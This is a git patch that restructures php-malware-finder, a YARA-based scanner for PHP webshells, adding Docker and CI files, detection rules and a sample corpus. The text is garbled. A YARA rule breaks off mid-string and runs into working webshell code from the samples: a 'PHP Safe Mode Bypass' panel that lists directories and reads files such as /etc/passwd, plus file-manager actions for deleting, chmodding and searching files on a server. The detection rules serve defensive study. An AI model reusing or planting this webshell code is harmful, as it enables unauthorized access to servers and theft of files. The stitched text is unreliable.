From 48936efa96ae17295be4e0a71be3294f0ec6aef8 Mon Sep 17 00:00:00 2001 From: Mathieu Deous Date: Mon, 2 May 2022 20:18:23 +0200 Subject: Make application go-install-able and create a docker image --- .dockerignore | 4 + .github/workflows/docker.yml | 41 + .github/workflows/release.yml | 40 + .github/workflows/test.yml | 19 +- .gitignore | 2 +- Dockerfile | 37 + Makefile | 53 +- README.md | 29 +- data/php.yar | 374 + data/samples/artificial/bypasses.php | 7 + data/samples/artificial/dodgy.php | 18 + data/samples/artificial/obfuscated.php | 8 + data/samples/classic/ajaxshell.php | 652 ++ data/samples/classic/angel.php | 2149 ++++++ data/samples/classic/b374k.php | 10 + data/samples/classic/c100.php | 3154 ++++++++ data/samples/classic/c99.php | 3157 ++++++++ data/samples/classic/cyb3rsh3ll.php | 7923 ++++++++++++++++++++ data/samples/classic/r57.php | 2302 ++++++ data/samples/classic/simattacker.php | 756 ++ data/samples/classic/sosyete.php | 225 + data/samples/cpanel.php | 20 + data/samples/freepbx.php | 14 + data/samples/obfuscators/cipher_design.php | 2 + data/samples/obfuscators/online_php_obfuscator.php | 1 + data/samples/obfuscators/phpencode.php | 1 + data/samples/real/awvjtnz.php | 4 + data/samples/real/exceptions.php | 1 + data/samples/real/guidtz.php | 76 + data/samples/real/ice.php | 1 + data/samples/real/include.php | 4 + data/samples/real/nano.php | 1 + data/samples/real/ninja.php | 1 + data/samples/real/novahot.php | 130 + data/samples/real/srt.php | 5 + data/samples/real/sucuri_2014_04.php | 3 + data/samples/undetected/smart.php | 2 + data/whitelist.yar | 129 + data/whitelists/custom.yar | 13 + data/whitelists/drupal.yar | 660 ++ data/whitelists/magento1ce.yar | 504 ++ data/whitelists/magento2.yar | 563 ++ data/whitelists/phpmyadmin.yar | 93 + data/whitelists/prestashop.yar | 468 ++ data/whitelists/symfony.yar | 60 + data/whitelists/wordpress.yar | 1046 +++ go.mod | 6 +- go.sum | 8 +- main.go | 466 ++ php-malware-finder/php.yar | 374 - php-malware-finder/phpmalwarefinder.go | 408 - php-malware-finder/samples/artificial/bypasses.php | 7 - php-malware-finder/samples/artificial/dodgy.php | 18 - .../samples/artificial/obfuscated.php | 8 - php-malware-finder/samples/classic/ajaxshell.php | 652 -- php-malware-finder/samples/classic/angel.php | 2149 ------ php-malware-finder/samples/classic/b374k.php | 10 - php-malware-finder/samples/classic/c100.php | 3154 -------- php-malware-finder/samples/classic/c99.php | 3157 -------- php-malware-finder/samples/classic/cyb3rsh3ll.php | 7923 -------------------- php-malware-finder/samples/classic/r57.php | 2302 ------ php-malware-finder/samples/classic/simattacker.php | 756 -- php-malware-finder/samples/classic/sosyete.php | 225 - php-malware-finder/samples/cpanel.php | 20 - php-malware-finder/samples/freepbx.php | 14 - .../samples/obfuscators/cipher_design.php | 2 - .../samples/obfuscators/online_php_obfuscator.php | 1 - .../samples/obfuscators/phpencode.php | 1 - php-malware-finder/samples/real/awvjtnz.php | 4 - php-malware-finder/samples/real/exceptions.php | 1 - php-malware-finder/samples/real/guidtz.php | 76 - php-malware-finder/samples/real/ice.php | 1 - php-malware-finder/samples/real/include.php | 4 - php-malware-finder/samples/real/nano.php | 1 - php-malware-finder/samples/real/ninja.php | 1 - php-malware-finder/samples/real/novahot.php | 130 - php-malware-finder/samples/real/srt.php | 5 - php-malware-finder/samples/real/sucuri_2014_04.php | 3 - php-malware-finder/samples/undetected/smart.php | 2 - php-malware-finder/tests.sh | 96 - php-malware-finder/utils/generate_whitelist.py | 46 - php-malware-finder/utils/magento1_whitelist.sh | 56 - php-malware-finder/utils/magento2_whitelist.sh | 83 - php-malware-finder/utils/mass_whitelist.py | 208 - php-malware-finder/whitelist.yar | 129 - php-malware-finder/whitelists/custom.yar | 13 - php-malware-finder/whitelists/drupal.yar | 660 -- php-malware-finder/whitelists/magento1ce.yar | 504 -- php-malware-finder/whitelists/magento2.yar | 563 -- php-malware-finder/whitelists/phpmyadmin.yar | 93 - php-malware-finder/whitelists/prestashop.yar | 468 -- php-malware-finder/whitelists/symfony.yar | 60 - php-malware-finder/whitelists/wordpress.yar | 1046 --- tests.sh | 96 + utils/generate_whitelist.py | 46 + utils/magento1_whitelist.sh | 56 + utils/magento2_whitelist.sh | 83 + utils/mass_whitelist.py | 208 + 98 files changed, 25703 insertions(+), 25462 deletions(-) create mode 100644 .dockerignore create mode 100644 .github/workflows/docker.yml create mode 100644 .github/workflows/release.yml create mode 100644 Dockerfile create mode 100644 data/php.yar create mode 100644 data/samples/artificial/bypasses.php create mode 100644 data/samples/artificial/dodgy.php create mode 100644 data/samples/artificial/obfuscated.php create mode 100644 data/samples/classic/ajaxshell.php create mode 100644 data/samples/classic/angel.php create mode 100644 data/samples/classic/b374k.php create mode 100644 data/samples/classic/c100.php create mode 100644 data/samples/classic/c99.php create mode 100644 data/samples/classic/cyb3rsh3ll.php create mode 100644 data/samples/classic/r57.php create mode 100644 data/samples/classic/simattacker.php create mode 100644 data/samples/classic/sosyete.php create mode 100644 data/samples/cpanel.php create mode 100644 data/samples/freepbx.php create mode 100644 data/samples/obfuscators/cipher_design.php create mode 100644 data/samples/obfuscators/online_php_obfuscator.php create mode 100644 data/samples/obfuscators/phpencode.php create mode 100644 data/samples/real/awvjtnz.php create mode 100644 data/samples/real/exceptions.php create mode 100644 data/samples/real/guidtz.php create mode 100644 data/samples/real/ice.php create mode 100644 data/samples/real/include.php create mode 100644 data/samples/real/nano.php create mode 100644 data/samples/real/ninja.php create mode 100644 data/samples/real/novahot.php create mode 100644 data/samples/real/srt.php create mode 100644 data/samples/real/sucuri_2014_04.php create mode 100644 data/samples/undetected/smart.php create mode 100644 data/whitelist.yar create mode 100644 data/whitelists/custom.yar create mode 100644 data/whitelists/drupal.yar create mode 100644 data/whitelists/magento1ce.yar create mode 100644 data/whitelists/magento2.yar create mode 100644 data/whitelists/phpmyadmin.yar create mode 100644 data/whitelists/prestashop.yar create mode 100644 data/whitelists/symfony.yar create mode 100644 data/whitelists/wordpress.yar create mode 100644 main.go delete mode 100644 php-malware-finder/php.yar delete mode 100644 php-malware-finder/phpmalwarefinder.go delete mode 100644 php-malware-finder/samples/artificial/bypasses.php delete mode 100644 php-malware-finder/samples/artificial/dodgy.php delete mode 100644 php-malware-finder/samples/artificial/obfuscated.php delete mode 100644 php-malware-finder/samples/classic/ajaxshell.php delete mode 100644 php-malware-finder/samples/classic/angel.php delete mode 100644 php-malware-finder/samples/classic/b374k.php delete mode 100644 php-malware-finder/samples/classic/c100.php delete mode 100644 php-malware-finder/samples/classic/c99.php delete mode 100644 php-malware-finder/samples/classic/cyb3rsh3ll.php delete mode 100644 php-malware-finder/samples/classic/r57.php delete mode 100644 php-malware-finder/samples/classic/simattacker.php delete mode 100644 php-malware-finder/samples/classic/sosyete.php delete mode 100644 php-malware-finder/samples/cpanel.php delete mode 100644 php-malware-finder/samples/freepbx.php delete mode 100644 php-malware-finder/samples/obfuscators/cipher_design.php delete mode 100644 php-malware-finder/samples/obfuscators/online_php_obfuscator.php delete mode 100644 php-malware-finder/samples/obfuscators/phpencode.php delete mode 100644 php-malware-finder/samples/real/awvjtnz.php delete mode 100644 php-malware-finder/samples/real/exceptions.php delete mode 100644 php-malware-finder/samples/real/guidtz.php delete mode 100644 php-malware-finder/samples/real/ice.php delete mode 100644 php-malware-finder/samples/real/include.php delete mode 100644 php-malware-finder/samples/real/nano.php delete mode 100644 php-malware-finder/samples/real/ninja.php delete mode 100644 php-malware-finder/samples/real/novahot.php delete mode 100644 php-malware-finder/samples/real/srt.php delete mode 100644 php-malware-finder/samples/real/sucuri_2014_04.php delete mode 100644 php-malware-finder/samples/undetected/smart.php delete mode 100755 php-malware-finder/tests.sh delete mode 100755 php-malware-finder/utils/generate_whitelist.py delete mode 100755 php-malware-finder/utils/magento1_whitelist.sh delete mode 100755 php-malware-finder/utils/magento2_whitelist.sh delete mode 100755 php-malware-finder/utils/mass_whitelist.py delete mode 100644 php-malware-finder/whitelist.yar delete mode 100644 php-malware-finder/whitelists/custom.yar delete mode 100644 php-malware-finder/whitelists/drupal.yar delete mode 100644 php-malware-finder/whitelists/magento1ce.yar delete mode 100644 php-malware-finder/whitelists/magento2.yar delete mode 100644 php-malware-finder/whitelists/phpmyadmin.yar delete mode 100644 php-malware-finder/whitelists/prestashop.yar delete mode 100644 php-malware-finder/whitelists/symfony.yar delete mode 100644 php-malware-finder/whitelists/wordpress.yar create mode 100755 tests.sh create mode 100755 utils/generate_whitelist.py create mode 100755 utils/magento1_whitelist.sh create mode 100755 utils/magento2_whitelist.sh create mode 100755 utils/mass_whitelist.py diff --git a/.dockerignore b/.dockerignore new file mode 100644 index 0000000..c454426 --- /dev/null +++ b/.dockerignore @@ -0,0 +1,4 @@ +.idea/ +.github/ +utils/ +php-malware-finder diff --git a/.github/workflows/docker.yml b/.github/workflows/docker.yml new file mode 100644 index 0000000..b44e0b7 --- /dev/null +++ b/.github/workflows/docker.yml @@ -0,0 +1,41 @@ +name: Docker + +on: + push: + branches: + - master + tags: + - '*' + pull_request: + branches: + - master + +jobs: + + docker-image: + name: Build Image + runs-on: ubuntu-latest + + steps: + - name: Checkout code + uses: actions/checkout@v3 + + - name: Setup docker + uses: docker/setup-buildx-action@v1 + + - name: Log into container registry + uses: docker/login-action@v1 + with: + registry: ghcr.io + username: ${{ github.repository_owner }} + password: ${{ secrets.GITHUB_TOKEN }} + + - name: Build image + run: make docker + + - name: Test image + run: make docker-tests + + - name: Publish image + if: github.event_name != 'pull_request' + run: make docker-publish diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml new file mode 100644 index 0000000..6b1647a --- /dev/null +++ b/.github/workflows/release.yml @@ -0,0 +1,40 @@ +name: Release + +on: + push: + tags: + - '*' + +jobs: + + release: + name: Release + runs-on: ubuntu-latest + + steps: + - uses: actions/checkout@v3 + + - name: Set up Go + uses: actions/setup-go@v3 + with: + go-version: '^1.18' + + # apt repos don't have YARA v4.2, install it from git + - name: Install YARA + run: | + git clone --depth 1 https://github.com/virustotal/yara.git + cd yara + bash ./build.sh + sudo make install + cd .. + + - name: Build + run: make + + - name: Create release + uses: ncipollo/release-action@v1 + with: + artifacts: "php-malware-finder" + token: ${{ secrets.GITHUB_TOKEN }} + allowUpdates: true + omitBody: true diff --git a/.github/workflows/test.yml b/.github/workflows/test.yml index f29e422..a3cbc35 100644 --- a/.github/workflows/test.yml +++ b/.github/workflows/test.yml @@ -9,17 +9,25 @@ on: - master jobs: + test: name: Test runs-on: ubuntu-latest + strategy: + matrix: + go_version: + - '~1.16' + - '~1.17' + - '^1.18' + steps: - name: Checkout code - uses: actions/checkout@v2 + uses: actions/checkout@v3 - name: Setup Go - uses: actions/setup-go@v2 + uses: actions/setup-go@v3 with: - go-version: '^1.17' + go-version: ${{ matrix.go_version }} # apt repos don't have YARA v4.2, install it from git - name: Install YARA @@ -32,4 +40,7 @@ jobs: - name: Run tests run: | - LD_LIBRARY_PATH=/usr/local/lib make tests + make + make tests + env: + LD_LIBRARY_PATH: /usr/local/lib diff --git a/.gitignore b/.gitignore index 639d072..de3cb87 100644 --- a/.gitignore +++ b/.gitignore @@ -1,2 +1,2 @@ -php-malware-finder/phpmalwarefinder +php-malware-finder .idea diff --git a/Dockerfile b/Dockerfile new file mode 100644 index 0000000..e13b19d --- /dev/null +++ b/Dockerfile @@ -0,0 +1,37 @@ +FROM golang:alpine as build +WORKDIR /app + +# install build dependencies +RUN apk add --no-cache \ + build-base \ + automake \ + autoconf \ + pkgconfig \ + libtool \ + bison \ + libressl-dev \ + git + +# install YARA +RUN git clone --depth 1 https://github.com/virustotal/yara.git \ + && cd yara \ + && sh ./build.sh \ + && make install \ + && cd .. + +# copy and build PMF +COPY . . +RUN make + +FROM golang:alpine +LABEL org.opencontainers.image.source="https://github.com/jvoisin/php-malware-finder" +WORKDIR /app + +# install dependencies +RUN apk add --no-cache libressl + +# copy files from build container +COPY --from=build /usr/local/lib /usr/lib +COPY --from=build /app/php-malware-finder /app + +ENTRYPOINT ["/app/php-malware-finder", "-v", "-a", "-c", "/data"] diff --git a/Makefile b/Makefile index 931f4e7..8cdf2fd 100644 --- a/Makefile +++ b/Makefile @@ -1,15 +1,48 @@ -.PHONY: clean deps tests +.PHONY: clean rebuild update-deps tests help docker docker-tests docker-publish -all: php-malware-finder/phpmalwarefinder +NAME := php-malware-finder +TAG_COMMIT := $(shell git rev-list --abbrev-commit --all --max-count=1) +VERSION := $(shell git describe --abbrev=0 --tags --exact-match $(TAG_COMMIT) 2>/dev/null || true) +IMAGE_VERSION := $(VERSION) +DATE := $(shell git log -1 --format=%cd --date=format:"%Y%m%d%H%M") +ifeq ($(VERSION),) + VERSION := $(DATE) + IMAGE_VERSION := latest +endif +LDFLAGS := "-X main.version=$(VERSION)" +GO_FLAGS := -o $(NAME) -ldflags $(LDFLAGS) +IMAGE_REGISTRY := ghcr.io +IMAGE_REGISTRY_USER := jvoisin +IMAGE_NAME := $(IMAGE_REGISTRY)/$(IMAGE_REGISTRY_USER)/$(NAME) -php-malware-finder/phpmalwarefinder: - go build -o php-malware-finder/phpmalwarefinder php-malware-finder/phpmalwarefinder.go +all: php-malware-finder -clean: - rm -f php-malware-finder/phpmalwarefinder +php-malware-finder: ## Build application + @go build $(GO_FLAGS) . -deps: - go mod tidy -v +clean: ## Delete build artifacts + @rm -f $(NAME) -tests: php-malware-finder/phpmalwarefinder - @cd ./php-malware-finder && bash ./tests.sh +rebuild: clean all ## Delete build artifacts and rebuild + +update-deps: ## Update dependencies + @go get -u . + @go mod tidy -v + +tests: php-malware-finder ## Run test suite + @bash ./tests.sh + +docker: ## Build docker image + docker pull $(IMAGE_NAME):latest || true + docker build --pull -t $(IMAGE_NAME):latest . + docker tag $(IMAGE_NAME):latest $(IMAGE_NAME):$(IMAGE_VERSION) + +docker-tests: ## Run docker image against the samples folder + @docker run --rm -v $(shell pwd)/data/samples:/data $(IMAGE_NAME):latest + +docker-publish: ## Push docker image to the container registry + @docker push $(IMAGE_NAME):latest + @(test "$(IMAGE_VERSION)" != "latest" && docker push $(IMAGE_NAME):$(IMAGE_VERSION)) || true + +help: ## Show this help + @grep -E '^[a-zA-Z_-]+:.*?## .*$$' $(MAKEFILE_LIST) | sort | awk 'BEGIN {FS = ":.*?## "}; {printf "\033[36m%-20s\033[0m %s\n", $$1, $$2}' diff --git a/README.md b/README.md index 6ae0b07..2ee0606 100644 --- a/README.md +++ b/README.md @@ -60,22 +60,28 @@ PMF tries as much as possible to use semantic patterns, to detect things like and then passed to some dangerous function like `system`". ## Installation + +### From source + - Install Go (using your package manager, or [manually](https://go.dev/doc/install)) - Install libyara >= 4.2 (using your package manager, or [from source](https://yara.readthedocs.io/en/stable/gettingstarted.html)) - Download php-malware-finder: `git clone https://github.com/jvoisin/php-malware-finder.git` - Build php-malware-finder: `cd php-malware-finder && make` +or replace the last 2 steps with `go install github.com/jvoisin/php-malware-finder`, +which will directly compile and install PMF in your `${GOROOT}/bin` folder. + ## How to use it? ``` -$ ./phpmalwarefinder -h +$ ./php-malware-finder -h Usage: - phpmalwarefinder [OPTIONS] [Target] + php-malware-finder [OPTIONS] [Target] Application Options: - -r, --rules-dir= Rules location (default: /etc/phpmalwarefinder or .) + -r, --rules-dir= Alternative rules location (default: embedded rules) -a, --show-all Display all matched rules - -f, --fast Enable YARA's fast mode' + -f, --fast Enable YARA's fast mode -R, --rate-limit= Max. filesystem ops per second, 0 for no limit (default: 0) -v, --verbose Verbose mode -w, --workers= Number of workers to spawn for scanning (default: 32) @@ -84,6 +90,7 @@ Application Options: -i, --exclude-imgs Do not scan image files -x, --exclude-ext= Additional file extensions to exclude -u, --update Update rules + -V, --version Show version number and exit Help Options: -h, --help Show this help message @@ -92,7 +99,7 @@ Help Options: Or if you prefer to use `yara`: ``` -$ yara -r ./php.yar /var/www +$ yara -r ./data/php.yar /var/www ``` Please keep in mind that you should use at least YARA 3.4 because we're using @@ -103,6 +110,16 @@ have support for hashes. Oh, and by the way, you can run the *comprehensive* testsuite with `make tests`. +### Docker + +If you want to avoid having to install Go and libyara, you can also use our +docker image and simply mount the folder you want to scan to the container's +`/data` directory: + +``` +$ docker run --rm -v /folder/to/scan:/data ghcr.io/jvoisin/php-malware-finder +``` + ## Whitelisting Check the [whitelist.yar](https://github.com/jvoisin/php-malware-finder/blob/master/php-malware-finder/whitelist.yar) file. @@ -115,7 +132,7 @@ Because: - It doesn't use [a single rule per sample]( https://github.com/Neo23x0/signature-base/blob/e264d66a8ea3be93db8482ab3d639a2ed3e9c949/yara/thor-webshells.yar ), since it only cares about finding malicious patterns, not specific webshells -- It has a [complete testsuite](https://travis-ci.org/jvoisin/php-malware-finder), to avoid regressions +- It has a [complete testsuite](https://github.com/jvoisin/php-malware-finder/actions), to avoid regressions - Its whitelist system doesn't rely on filenames - It doesn't rely on (slow) [entropy computation]( https://en.wikipedia.org/wiki/Entropy_(information_theory) ) - It uses a ghetto-style static analysis, instead of relying on file hashes diff --git a/data/php.yar b/data/php.yar new file mode 100644 index 0000000..4470e1b --- /dev/null +++ b/data/php.yar @@ -0,0 +1,374 @@ +import "hash" +include "whitelist.yar" + +/* + Detect: + - phpencode.org + - http://www.pipsomania.com/best_php_obfuscator.do + - http://atomiku.com/online-php-code-obfuscator/ + - http://www.webtoolsvn.com/en-decode/ + - http://obfuscator.uk/example/ + - http://w3webtools.com/encode-php-online/ + - http://www.joeswebtools.com/security/php-obfuscator/ + - https://github.com/epinna/weevely3 + - http://cipherdesign.co.uk/service/php-obfuscator + - http://sysadmin.cyklodev.com/online-php-obfuscator/ + - http://mohssen.org/SpinObf.php + - https://code.google.com/p/carbylamine/ + - https://github.com/tennc/webshell + + - https://github.com/wireghoul/htshells + + Thanks to: + - https://stackoverflow.com/questions/3115559/exploitable-php-functions +*/ + +global private rule IsPhp +{ + strings: + $php = /<\?[^x]/ + + condition: + $php and filesize < 5MB +} + +rule NonPrintableChars +{ + strings: + /* + Searching only for non-printable characters completely kills the perf, + so we have to use atoms (https://gist.github.com/Neo23x0/e3d4e316d7441d9143c7) + to get an acceptable speed. + */ + $non_printables = /(function|return|base64_decode).{,256}[^\x09-\x0d\x20-\x7E]{3}/ + + condition: + (any of them) and not IsWhitelisted +} + + +rule PasswordProtection +{ + strings: + $md5 = /md5\s*\(\s*\$_(GET|REQUEST|POST|COOKIE|SERVER)[^)]+\)\s*===?\s*['"][0-9a-f]{32}['"]/ nocase + $sha1 = /sha1\s*\(\s*\$_(GET|REQUEST|POST|COOKIE|SERVER)[^)]+\)\s*===?\s*['"][0-9a-f]{40}['"]/ nocase + condition: + (any of them) and not IsWhitelisted +} + +rule ObfuscatedPhp +{ + strings: + $eval = /(<\?php|[;{}])[ \t]*@?(eval|preg_replace|system|assert|passthru|(pcntl_)?exec|shell_exec|call_user_func(_array)?)\s*\(/ nocase // ;eval( <- this is dodgy + $eval_comment = /(eval|preg_replace|system|assert|passthru|(pcntl_)?exec|shell_exec|call_user_func(_array)?)\/\*[^\*]*\*\/\(/ nocase // eval/*lol*/( <- this is dodgy + $b374k = "'ev'.'al'" + $align = /(\$\w+=[^;]*)*;\$\w+=@?\$\w+\(/ //b374k + $weevely3 = /\$\w=\$[a-zA-Z]\('',\$\w\);\$\w\(\);/ // weevely3 launcher + $c99_launcher = /;\$\w+\(\$\w+(,\s?\$\w+)+\);/ // http://bartblaze.blogspot.fr/2015/03/c99shell-not-dead.html + $nano = /\$[a-z0-9-_]+\[[^]]+\]\(/ //https://github.com/UltimateHackers/nano + $ninja = /base64_decode[^;]+getallheaders/ //https://github.com/UltimateHackers/nano + $variable_variable = /\${\$[0-9a-zA-z]+}/ + $too_many_chr = /(chr\([\d]+\)\.){8}/ // concatenation of more than eight `chr()` + $concat = /(\$[^\n\r]+\.){5}/ // concatenation of more than 5 words + $concat_with_spaces = /(\$[^\n\r]+\. ){5}/ // concatenation of more than 5 words, with spaces + $var_as_func = /\$_(GET|POST|COOKIE|REQUEST|SERVER)\s*\[[^\]]+\]\s*\(/ + $comment = /\/\*([^*]|\*[^\/])*\*\/\s*\(/ // eval /* comment */ (php_code) +condition: + (any of them) and not IsWhitelisted +} + +rule DodgyPhp +{ + strings: + $basedir_bypass = /curl_init\s*\(\s*["']file:\/\// nocase + $basedir_bypass2 = "file:file:///" // https://www.intelligentexploit.com/view-details.html?id=8719 + $disable_magic_quotes = /set_magic_quotes_runtime\s*\(\s*0/ nocase + + $execution = /\b(popen|eval|assert|passthru|exec|include|system|pcntl_exec|shell_exec|base64_decode|`|array_map|ob_start|call_user_func(_array)?)\s*\(\s*(base64_decode|php:\/\/input|str_rot13|gz(inflate|uncompress)|getenv|pack|\\?\$_(GET|REQUEST|POST|COOKIE|SERVER))/ nocase // function that takes a callback as 1st parameter + $execution2 = /\b(array_filter|array_reduce|array_walk(_recursive)?|array_walk|assert_options|uasort|uksort|usort|preg_replace_callback|iterator_apply)\s*\(\s*[^,]+,\s*(base64_decode|php:\/\/input|str_rot13|gz(inflate|uncompress)|getenv|pack|\\?\$_(GET|REQUEST|POST|COOKIE|SERVER))/ nocase // functions that takes a callback as 2nd parameter + $execution3 = /\b(array_(diff|intersect)_u(key|assoc)|array_udiff)\s*\(\s*([^,]+\s*,?)+\s*(base64_decode|php:\/\/input|str_rot13|gz(inflate|uncompress)|getenv|pack|\\?\$_(GET|REQUEST|POST|COOKIE|SERVER))\s*\[[^]]+\]\s*\)+\s*;/ nocase // functions that takes a callback as 2nd parameter + + $htaccess = "SetHandler application/x-httpd-php" + $iis_com = /IIS:\/\/localhost\/w3svc/ + $include = /include\s*\(\s*[^\.]+\.(png|jpg|gif|bmp)/ // Clever includes + $ini_get = /ini_(get|set|restore)\s*\(\s*['"](safe_mode|open_basedir|disable_(function|classe)s|safe_mode_exec_dir|safe_mode_include_dir|register_globals|allow_url_include)/ nocase + $pr = /(preg_replace(_callback)?|mb_ereg_replace|preg_filter)\s*\([^)]*(\/|\\x2f)(e|\\x65)['"]/ nocase // http://php.net/manual/en/function.preg-replace.php + $register_function = /register_[a-z]+_function\s*\(\s*['"]\s*(eval|assert|passthru|exec|include|system|shell_exec|`)/ // https://github.com/nbs-system/php-malware-finder/issues/41 + $safemode_bypass = /\x00\/\.\.\/|LD_PRELOAD/ + $shellshock = /\(\)\s*{\s*[a-z:]\s*;\s*}\s*;/ + $udp_dos = /fsockopen\s*\(\s*['"]udp:\/\// nocase + $various = " +

:: PHP Safe Mode Bypass ::

+

:: Make File/Directory ::

+

:: Go File/Directory ::

+ + + + +
(: List Directories :)
+ +

+ + Dir:

eg: /etc/
+$chemin
"; + +foreach ($files as $filename) { + + echo "
";
+
+   echo "$filename\n";
+
+   echo "
"; + +} + +} + + + +if(isset($_GET['directory'])) + +{ + +rsg_glob(); + +} + + + +?> + + +
+ + + +
[: Make Directory :]
 
+ + +
{: Go Directory :}
 
+ + + + + +
(: Read Files :)

+ +
+ +
File:

eg: /etc/passwd
+ Trying To Get File $get
"; + + if(copy("compress.zlib://".$file, $temp)){ + + $fichier = fopen($temp, "r"); + + $action = fread($fichier, filesize($temp)); + + fclose($fichier); + + $source=htmlspecialchars($action); + + echo "
Start $get

$source

Fin $get
"; + + unlink($temp); + + } else { + + die("
Sorry... File + + ".htmlspecialchars($file)." dosen't exists or you don't have + + access.
"); + + } + + echo "
"; + + } + + + + if(isset($_GET['file'])) + +{ + +rsg_read(); + +} + + + + ?> + + +
+ +
+ +
+ + + +
[: Make File :]
 
+ + +
{: Go File :}
 
+ + + + + ";} + + } + + if (!empty($delerr)) {echo "Deleting with errors:
".$delerr;} + + $act = "ls"; + +} + +if ($act == "chmod") + +{ + + $mode = fileperms($d.$f); + + if (!$mode) {echo "Change file-mode with error: can't get current value.";} + + else + + { + + $form = TRUE; + + if ($chmod_submit) + + { + + $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8); + + if (chmod($d.$f,$octet)) {$act = "ls"; $form = FALSE; $err = "";} + + else {$err = "Can't chmod to ".$octet.".";} + + } + + if ($form) + + { + + $perms = parse_perms($mode); + + echo "Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).")
".($err?"Error: ".$err:"")."
Owner

 Read
 Write
eXecute
Group

 Read
 Write
eXecute
World

 Read
 Write
eXecute
"; + + } + + } + +} + +if ($act == "search") + +{ + + echo "Search in file-system:
"; + + if (empty($search_in)) {$search_in = $d;} + + if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;} + + if (empty($search_text_wwo)) {$search_text_regexp = 0;} + + if (!empty($submit)) + + { + + $found = array(); + + $found_d = 0; + + $found_f = 0; + + $search_i_f = 0; + + $search_i_d = 0; + + $a = array + + ( + + "name"=>$search_name, "name_regexp"=>$search_name_regexp, + + "text"=>$search_text, "text_regexp"=>$search_text_regxp, + + "text_wwo"=>$search_text_wwo, + + "text_cs"=>$search_text_cs, + + "text_not"=>$search_text_not + + ); + + $searchtime = getmicrotime(); + + $in = array_unique(explode(";",$search_in)); + + foreach($in as $v) {cyb3rfsearch($v);} + + $searchtime = round(getmicrotime()-$searchtime,4); + + if (count($found) == 0) {echo "No files found!";} + + else + + { + + $ls_arr = $found; + + $disp_fullpath = TRUE; + + $act = "ls"; + + } + + } + + echo "
+ + + +Search for (file/folder name):   - regexp + +
Search in (explode \";\"): + +

Text:
+ +

- regexp + +   - whole words only + +   - case sensitive + +   - find files NOT containing the text + +

"; + + if ($act == "ls") {$dspact = $act; echo "
Search took ".$searchtime." secs (".$search_i_f." files and ".$search_i_d." folders, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second).

";} + +} + +if ($act == "fsbuff") + +{ + + $arr_copy = $sess_data["copy"]; + + $arr_cut = $sess_data["cut"]; + + $arr = array_merge($arr_copy,$arr_cut); + + if (count($arr) == 0) {echo "
Buffer is empty!
";} + + else {echo "File-System buffer

"; $ls_arr = $arr; $disp_fullpath = TRUE; $act = "ls";} + +} + +if ($act == "d") + +{ + + if (!is_dir($d)) {echo "
Permision denied!
";} + + else + + { + + echo "Directory information:"; + + if (!$win) + + { + + echo "
Owner/Group "; + + $ow = posix_getpwuid(fileowner($d)); + + $gr = posix_getgrgid(filegroup($d)); + + $row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d)); + + } + + echo "
Perms".view_perms_color($d)."
Create time ".date("d/m/Y H:i:s",filectime($d))."
Access time ".date("d/m/Y H:i:s",fileatime($d))."
MODIFY time ".date("d/m/Y H:i:s",filemtime($d))."

"; + + } + +} + +if ($act == "chmod") + +{ + + $mode = fileperms($d.$f); + + if (!$mode) {echo "Change file-mode with error: can't get current value.";} + + else + + { + + $form = TRUE; + + if ($chmod_submit) + + { + + $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8); + + if (chmod($d.$f,$octet)) {$act = "ls"; $form = FALSE; $err = "";} + + else {$err = "Can't chmod to ".$octet.".";} + + } + + if ($form) + + { + + $perms = parse_perms($mode); + + echo "Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).")
".($err?"Error: ".$err:"")."
Owner

 Read
 Write
eXecute
Group

 Read
 Write
eXecute
World

 Read
 Write
eXecute
"; + + } + + } + +} + +if ($act == "f") + +{ + + if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit") + + { + + if (file_exists($d.$f)) {echo "
Permision denied (".htmlspecialchars($d.$f).")!
";} + + else {echo "
File does not exists (".htmlspecialchars($d.$f).")!
Create
";} + + } + + else + + { + + $r = @file_get_contents($d.$f); + + $ext = explode(".",$f); + + $c = count($ext)-1; + + $ext = $ext[$c]; + + $ext = strtolower($ext); + + $rft = ""; + + foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}} + + if (eregi("sess_(.*)",$f)) {$rft = "phpsess";} + + if (empty($ft)) {$ft = $rft;} + + $arr = array( + + array("","info"), + + array("","html"), + + array("","txt"), + + array("Code","code"), + + array("Session","phpsess"), + + array("","exe"), + + array("SDB","sdb"), + + array("","img"), + + array("","ini"), + + array("","download"), + + array("","notepad"), + + array("","edit") + + ); + + echo "Viewing file:     ".$f." (".view_size(filesize($d.$f)).")      ".view_perms_color($d.$f)."
Select action/file-type:
"; + + foreach($arr as $t) + + { + + if ($t[1] == $rft) {echo " ".$t[0]."";} + + elseif ($t[1] == $ft) {echo " ".$t[0]."";} + + else {echo " ".$t[0]."";} + + echo " (+) |"; + + } + + echo "
"; + + if ($ft == "info") + + { + + echo "Information:"; + + if (!$win) + + { + + echo "
Path ".$d.$f."
Size ".view_size(filesize($d.$f))."
MD5 ".md5_file($d.$f)."
Owner/Group "; + + $ow = posix_getpwuid(fileowner($d.$f)); + + $gr = posix_getgrgid(filegroup($d.$f)); + + echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?$gr["name"]:filegroup($d.$f)); + + } + + echo "
Perms".view_perms_color($d.$f)."
Create time ".date("d/m/Y H:i:s",filectime($d.$f))."
Access time ".date("d/m/Y H:i:s",fileatime($d.$f))."
MODIFY time ".date("d/m/Y H:i:s",filemtime($d.$f))."

